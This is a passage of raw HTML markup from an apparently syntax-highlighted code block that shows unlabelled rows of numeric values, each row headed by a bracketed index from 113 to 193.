!important;">95.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">99.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">83.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">81.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">95.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">86.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">84.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.3</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">113</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">81.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">72.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">84.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">95.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">98.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">83.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.3</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">129</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">77.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">99.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">82.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">97.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">83.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">82.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.1</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">145</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">95.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">80.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">86.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">97.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.7</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">161</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">88.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">81.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">81.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">93.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">84.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.3</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.9</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">177</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">87.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">97.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">85.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">84.0</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">100.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">86.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">98.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">96.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">99.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">105.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">95.9</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">193</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">86.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">83.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">81.8</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 